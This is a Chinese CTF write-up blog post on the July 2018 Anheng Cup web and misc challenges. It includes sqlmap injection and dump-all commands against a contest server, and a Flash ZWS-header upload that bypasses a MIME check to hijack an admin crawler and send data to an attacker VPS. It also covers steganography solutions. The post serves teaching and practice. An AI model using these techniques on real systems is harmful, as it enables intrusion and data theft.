安恒7月

  1. 安恒杯7月
    1. WEB
      1. 0x00 order
      2. 0x01 就这么直接
      3. 0x02简历来了
        1. 解析:
          1. 原理
          2. 复现
  2. Misc
    1. 0x00 F5刷新
    2. 0x01 弱口令

安恒杯7月

WEB

0x00 order

提示

1.右键提示 从flag表中得到flag

2.order注入

只对某一参数注入

sqlmap -u “http://101.71.29.5:10000/?order=id&button=submit” -p order

sqlmap -u “http://101.71.29.5:10000/?order=id&button=submit” -p order –dbs

sqlmap -u “http://101.71.29.5:10000/?order=id&button=submit” -p order –dbs –dump-all –thread 10

flag{666_0rdorby_you_can}

0x01 就这么直接

提交查询页面跳转到 我觉得这并不是答案

右键源码得到 hint.php

访问得到代码

分析:

1.访问页面的时间戳作为播种时间

2.输出md5

php -r “echo md5(time());”

随机抽取一个md5的值输入进去

php -r “echo md(time());”

返回 答案错误

import requests
import re
import io
import sys

url="http:"
s=requests.Session()
p=s.get(url)
s.encoding = 'utf-8'
payload={'answer':'c4ca4238a0b923820dcc509a6f75849b'}
q=s.post(url,data=payload)
html=q.content
html_doc=str(html,'utf-8')
payload={'answer':html_doc[160:192]}#返回的md5值
q=s.post(url,data=payload)
html=q.content
html_doc=str(html,'utf-8')
print(html_doc)

flag{ef58f0b1e9437b4451248fb3f239622b}

0x02简历来了

当时没做出来 再次复现的

题目的知识点:

1、csrf的原理

2、swf的文件头flash的检查

cws fws zws

解析:

上传简历

php代码审计:

直接提交访问

<?php
require_once('init.php');
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['submit'])){
    if(!z_validate_captcha()){
        die('验证码错误');
    }
    $email = isset($_POST['email'])?trim($_POST['email']):'';
    $url = isset($_POST['url'])?trim($_POST['url']):'';
    $file = isset($_FILES['file'])?$_FILES['file']:false;
    if($email == false || $url == false || $file == false){
        die('Invalid Input');
    }

    if(!filter_var($email, FILTER_VALIDATE_EMAIL)){
        die('Invalid Email');
    }

    if(!filter_var($url, FILTER_VALIDATE_URL) || (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0)){
        die('Invalid URL');
    }

    if($file['error'] || $file['size'] > 1024*1024 || !is_uploaded_file($file['tmp_name'])){
        die('Invalid File');
    }

    $ext = getExt($file['name']);

    if(!in_array($ext, array('.jpg','.jpeg', '.png', '.docx', '.doc'))){
        die('Invalid File Type');
    }

    $file_checked = false;
    if(in_array($ext, array('.jpg','.jpeg', '.png'))){
        $finfo = finfo_open(FILEINFO_MIME);
        if (!$finfo) {
            die("Opening fileinfo database failed");
        }
        $mime = finfo_file($finfo, $file["tmp_name"]);
        finfo_close($finfo);
        if($mime == false){
            die('Invalid Filename');
        }
        $arr = explode(';', $mime);
        $mime = $arr[0];
        if($mime == false || !in_array($mime, array('image/gif', 'image/jpeg', 'image/jpg', 'image/png', 'application/octet-stream'))){
            die('Invalid Filename');
        }else{
            $file_checked = true;
        }
    }elseif(in_array($ext, array('.docx', '.doc'))){
        $finfo = finfo_open(FILEINFO_MIME);
        if (!$finfo) {
            die("Opening fileinfo database failed");
        }
        $mime = finfo_file($finfo, $file["tmp_name"]);
        finfo_close($finfo);
        if($mime == false){
            die('Invalid Filename');
        }
        $arr = explode(';', $mime);
        $mime = $arr[0];
        if($mime == false || !in_array($mime, array('application/msword','application/word', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'))){
            die('Invalid Filename');
        }else{
            $file_checked = true;
        }
    }

    if($file_checked !== true){
        die('Invalid File Type');
    }

    $filename = './upload/'.md5(mt_rand().microtime()).$ext;

    move_uploaded_file($file["tmp_name"], $filename);

    if(!file_exists($filename)){
        echo '上传失败';
    }else{
        save_resume($email, $url, $filename);
        echo "<br/>提交成功:";
        echo "<br/>邮箱:".htmlspecialchars($email);
        echo "<br/>个人网站:".htmlspecialchars($url);
        echo "<br/>简历地址:".htmlspecialchars($filename);
        echo "<br/><br/><br/>";
    }
}

show_source(__FILE__);

http://101.71.29.5:10001/admin/index.php

考虑知识点csrf 我们要模拟管理员去访问

原理

Flash跨域数据劫持漏洞,一大波网站受影响
object标签在包含flash文件时没有对嵌入的文件后缀进行判断。也就是说,只要文件内容包含了正常的flash文件代码,就能够被object标签成功加载并执行。

flash文件有三种文件头:CWS FWS ZWS【最新的】
由于ZWS是新兴的文件格式,PHP暂不支持。

在php中,当解析cws,fws格式的文件的时候,会解析成 application/x-shockwave-flash;
但是当解析 zws 格式的文件时候,会解析成 application/octet-stream
从而绕过MIME限制。

目录扫描发现http://101.71.29.5:10001/admin/中需要管理员权限才能看到flag。我们已知后台的爬虫会带着管理员的session_id来打开flag的页面,当后台的爬虫打开这个图像的时候。会跳转到我们的服务器地址,与此同时会加载object标签内嵌的flash,flash会利用CSRF打开http://101.71.29.5:10001/admin/将flag打回我们的服务器。

复现

其实这道题原理是最重要的,复现的话利用的是别人写的东西,没有什么太大意义。

下载项目中的文件,将ContentHijacking.swf文件头改为ZWS然后后缀改为jpg上传到服务器,记录文件路径。(windows编辑器改的文件不能复现成功,某表哥说他windows上我软件全试过,没用。只有mac的hex friend可以,这就很奇怪了。)

然后在ContentHijackingLoader.html125行加上你vps的地址,保存传到你的vps上。
图片.png

在你的vps上打开ContentHijackingLoader.html,第一个填写开始时候上传的jpg文件地址,下面填写要攻击的URL地址。然后生成payload。
img

把payload写进个人网站提交,后台爬虫会访问这个payload。然后在你的vps日志里面就能看到打回来的http://101.71.29.5:10001/admin/中的flag。
图片.png

Misc

0x00 F5刷新

拿到一个图片一闪而过

根据提示想到F5刷新隐写

首先下载F5解密的代码:
https://github.com/matthewgao/F5-steganography
切换到改目录下:
cd F5-steganography
继续运行命令:
java Extract  E:\CTF\安恒月赛7\5b51807ba55b4\Misc.jpg
然后会生成output.txt文件

有密码

使用zipcenop打开看看可以解密

伪加密

实际上修改把01改成00就可

flag{96efd0a2037d06f34199e921079778ee}

0x01 弱口令

…. . .-.. .-.. —– ..-. — .-. ..- –

… . .-.. .-.. —– ..-. — .-. ..- —

http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx

HELL0FORUM

图片拿出来 stegsolve感觉可能是lsb隐写

python lsb.py extract 女神.png  1.txt 123456

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:安恒7月

文章字数:1,242

本文作者:Mang0

发布时间:2018-08-25, 20:39:36

最后更新:2018-11-02, 21:52:17

原始链接:http://mang0.me/archis/b20debe2/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏